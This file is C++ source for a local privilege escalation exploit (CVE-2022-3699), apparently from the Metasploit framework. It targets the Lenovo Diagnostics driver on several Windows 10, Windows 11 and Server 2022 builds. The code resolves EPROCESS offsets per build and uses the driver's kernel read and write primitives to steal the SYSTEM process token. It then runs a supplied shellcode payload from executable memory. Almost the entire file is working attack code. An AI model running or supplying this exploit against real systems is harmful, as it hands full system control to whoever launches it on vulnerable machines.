external/source/exploits/CVE-2022-3699/CVE-2022-3699/exploit.cpp
#pragma once
#define DEBUGTRACE 1
#include "common.h"
#include "definitions.h"
#include "LenovoMemoryMgr.h"
#include <tchar.h>
const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL;
fNtQuerySystemInformation NtQuerySystemInfo = NULL;
fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL;
void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
if (!pMsfPayload)
return;
PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pPayload)
return;
CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL);
}
BOOL ResolveRequirements(DWORD dwMajor, DWORD dwMinor, DWORD dwBuild) {
dwBuild = LOWORD(dwBuild);
//dprintf("[*] Windows version: %u.%u.%u", dwMajor, dwMinor, dwBuild);
if ((dwMajor == 10) && (dwMinor == 0)) {
if ((dwBuild >= 14393) && (dwBuild <= 19045)) {
if ((dwBuild < 15063)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1607;
}
else if ((dwBuild < 16299)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1703;
}
else if ((dwBuild < 17134)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1709;
}
else if ((dwBuild < 17763)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1803;
}
else if ((dwBuild < 18362)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1809;
}
else if ((dwBuild < 19041)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1903;
}
else if ((dwBuild < 19043)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v2004;
}
else if ((dwBuild == 19044)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v21H2;
}
else if ((dwBuild == 19045)) {
g_pEprocessOffsets = &EprocessOffsetsWin10v21H2;
}
}
else if (dwBuild == 22000) {
g_pEprocessOffsets = &EprocessOffsetsWin11v21H2;
}
else if (dwBuild == 20348) {
g_pEprocessOffsets = &EprocessOffsetsWinServer2022;
}
}
else {
return FALSE;
}
return TRUE;
}
PSYSTEM_HANDLE_TABLE_ENTRY_INFO GetHandleEntryInfo(HANDLE hHandle, DWORD dwProcessId) {
HANDLE hProcessHeap = GetProcessHeap();
DWORD dwSize = 4096;
DWORD dwReturnSize = 0;
PSYSTEM_HANDLE_INFORMATION pSystemHandles = NULL;
PSYSTEM_HANDLE_TABLE_ENTRY_INFO pHandleEntryInfo = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
do {
if (pSystemHandles) {
HeapFree(hProcessHeap, 0, pSystemHandles);
pSystemHandles = NULL;
dwSize *= 2;
}
pSystemHandles = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, dwSize);
if (pSystemHandles == NULL) {
return NULL;
}
Status = (NTSTATUS)NtQuerySystemInfo(SystemHandleInformation, pSystemHandles, dwSize, &dwReturnSize);
} while (Status == STATUS_INFO_LENGTH_MISMATCH);
if (Status != STATUS_SUCCESS) {
HeapFree(hProcessHeap, 0, pSystemHandles);
return NULL;
}
for (DWORD dwIndex = 0; dwIndex < pSystemHandles->NumberOfHandles; dwIndex++) {
if (pSystemHandles->Handles[dwIndex].UniqueProcessId != dwProcessId) {
continue;
}
if ((HANDLE)pSystemHandles->Handles[dwIndex].HandleValue != hHandle) {
continue;
}
if (pHandleEntryInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO))) {
CopyMemory(pHandleEntryInfo, &pSystemHandles->Handles[dwIndex], sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO));
}
break;
}
HeapFree(hProcessHeap, 0, pSystemHandles);
return pHandleEntryInfo;
}
UINT64 GetPsInitialSystemProc(UINT64 lpNtoskrnlBase) {
HMODULE hNtos = LoadLibraryA("ntoskrnl.exe");
if (!hNtos) {
return NULL;
}
PVOID initial_proc = GetProcAddress(hNtos, "PsInitialSystemProcess");
initial_proc = (PVOID)(((SIZE_T)initial_proc - (SIZE_T)hNtos) + (SIZE_T)lpNtoskrnlBase);
FreeLibrary(hNtos);
return (UINT64)initial_proc;
}
// this is a over-simplification of the primitives to just do a ULONG_PTR at a time
// they can actually be used to transfer an arbitrary amount of data
ULONG_PTR KernelRead(LenovoMemoryMgr lm, ULONG_PTR SrcAddr) {
ULONG_PTR ulValueRead;
lm.ReadVirtData(SrcAddr, &ulValueRead);
return ulValueRead;
}
VOID KernelWrite(LenovoMemoryMgr lm, ULONG_PTR DstAddr, ULONG_PTR Data) {
lm.WriteVirtData(DstAddr, &Data);
}
BOOL UpgradeToken(LenovoMemoryMgr lm, PVOID pParam, ULONG_PTR ulEProcess) {
ULONG_PTR ulEprocessBak = ulEProcess;
ULONG_PTR ulSystemToken = 0;
ULONG_PTR ulMyToken = 0;
ULONG_PTR ulMyTokenAddr = 0;
DWORD dwPidSelf = GetCurrentProcessId();
while (!ulSystemToken || !ulMyTokenAddr) {
DWORD dwPidRead = KernelRead(lm, ulEProcess + g_pEprocessOffsets->UniqueProcessId) & 0xffffffff;
if (dwPidRead == 4)
{
ulSystemToken = KernelRead(lm, ulEProcess + g_pEprocessOffsets->Token);
}
if (dwPidRead == dwPidSelf)
{
ulMyTokenAddr = ulEProcess + g_pEprocessOffsets->Token;
}
ulEProcess = KernelRead(lm, ulEProcess + g_pEprocessOffsets->ActiveProcessLinks) - g_pEprocessOffsets->ActiveProcessLinks;
if (ulEprocessBak == ulEProcess)
break;
}
KernelWrite(lm, ulMyTokenAddr, ulSystemToken);
return TRUE;
}
DWORD Exploit(PMSF_PAYLOAD pPayload) {
HANDLE hDriver = INVALID_HANDLE_VALUE;
HANDLE hProc = INVALID_HANDLE_VALUE;
PSYSTEM_HANDLE_TABLE_ENTRY_INFO pHandleEntryInfo = NULL;
HMODULE hNtdll = GetModuleHandle("ntdll");
if (hNtdll == NULL) {
return FALSE;
}
NtQuerySystemInfo = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
if (NtQuerySystemInfo == NULL) {
return FALSE;
}
if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) {
return FALSE;
}
/* get the version to determine the necessary eprocess offsets */
DWORD dwMajor, dwMinor, dwBuild;
RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild);
LenovoMemoryMgr lm = LenovoMemoryMgr::LenovoMemoryMgr();
BOOL hasInit = lm.init(dwBuild);
if (!hasInit) {
return -1;
}
UINT64 OurProcess = 0;
if (!ResolveRequirements(dwMajor, dwMinor, dwBuild)) {
dprintf("[-] Failed to resolve requirements");
return 0;
}
UINT64 PsInitialSystemProcPtr = GetPsInitialSystemProc(lm.NtosBase);
dprintf("Found initial system process at %llx\n", PsInitialSystemProcPtr);
UINT64 SystemProc = 0;
lm.ReadVirtData(PsInitialSystemProcPtr, &SystemProc);
hDriver = CreateFile(_T("\\\\.\\LenovoDiagnosticsDriver"), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver == INVALID_HANDLE_VALUE) {
dprintf("[-] Failed to get a handle to the driver");
return 0;
}
hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, GetCurrentProcessId());
if (hProc == NULL) {
dprintf("[-] Failed to get a handle to the current process");
CloseHandle(hDriver);
return 0;
}
pHandleEntryInfo = GetHandleEntryInfo(hProc, GetCurrentProcessId());
if (pHandleEntryInfo == NULL) {
dprintf("[-] Failed to get the handle entry information");
CloseHandle(hDriver);
return 0;
}
dprintf("[*] Current nt!_EPROCESS found at 0x%p", pHandleEntryInfo->Object);
dprintf("[*] nt!_EPROCESS->Token = 0x%p", KernelRead(lm, (ULONG_PTR)pHandleEntryInfo->Object + g_pEprocessOffsets->Token));
if (UpgradeToken(lm, hDriver, (ULONG_PTR)pHandleEntryInfo->Object)) {
ExecutePayload(pPayload);
}
HeapFree(GetProcessHeap(), 0, pHandleEntryInfo);
CloseHandle(hDriver);
return 0;
}